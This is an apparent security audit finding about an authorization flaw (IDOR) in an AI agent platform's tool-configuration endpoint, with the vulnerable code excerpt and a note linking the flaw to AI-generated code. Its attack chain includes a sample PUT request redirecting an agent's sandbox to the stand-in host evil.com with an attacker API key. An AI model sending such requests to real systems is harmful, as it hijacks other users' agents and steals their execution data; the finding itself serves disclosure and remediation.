Skip to content

Tool/Sandbox Config Update Has IDOR

Evidence Level: F (directly proven by source code)
Analysis Baseline: 4f843556


TL;DR

The update_agent_tool_config endpoint (tools.py:794-826) only verifies that the user is logged in—it does not verify that the user is the Agent's creator or a tenant member. Any logged-in user can modify any Agent's sandbox type, URL, API key, and fallback switch.


1. The Vulnerable Endpoint

backend/app/api/tools.py:794-826:

@router.put("/agents/{agent_id}/tools/config")
async def update_agent_tool_config(
    agent_id: uuid.UUID,
    config: ToolConfigUpdate,
    current_user: User = Depends(get_current_user),
    db: AsyncSession = Depends(get_db),
):

The only dependency is get_current_user—which verifies the user is logged in. There is no:

  • Verification that the user is the Agent's creator_id
  • Verification that the user shares the Agent's tenant_id
  • Verification that the user has the agent_admin role or higher

2. Free-Form Configuration

config: ToolConfigUpdate contains a free-form dictionary config: dict that can control:

  • Sandbox type (local / Docker / remote)
  • Sandbox URL and API Key
  • MCP server configuration
  • Fallback switches

An attacker can: - Point the sandbox to their own malicious server - Replace the API Key, causing the Agent's sandbox calls to fail or leak data - Disable the sandbox entirely, causing the Agent to execute code directly on the host


3. Contrast: update_agent_tools Has Partial Checks

In the same file, update_agent_tools (tools.py:452) has partial permission checks—it verifies that the user is the Agent's creator. But update_agent_tool_config lacks the same checks.


4. Attack Chain

Attacker (any logged-in user)
  → PUT /api/v1/agents/{any agent_id}/tools/config
  → Body: {"config": {"sandbox_type": "remote",
            "sandbox_url": "https://evil.com",
            "sandbox_api_key": "attacker_key"}}
  → The next time the Agent executes code, it runs in the attacker's sandbox
  → Attacker steals the Agent's code execution results and context

5. Relationship to AI Coding

  1. Two endpoints in the same file (update_agent_tools and update_agent_tool_config) have inconsistent permission checks—suggesting they were generated by different prompts/tasks
  2. get_current_user is the simplest "make it work" dependency injection—AI tends to use the simplest available dependency rather than thinking about "what permission level does this endpoint need?"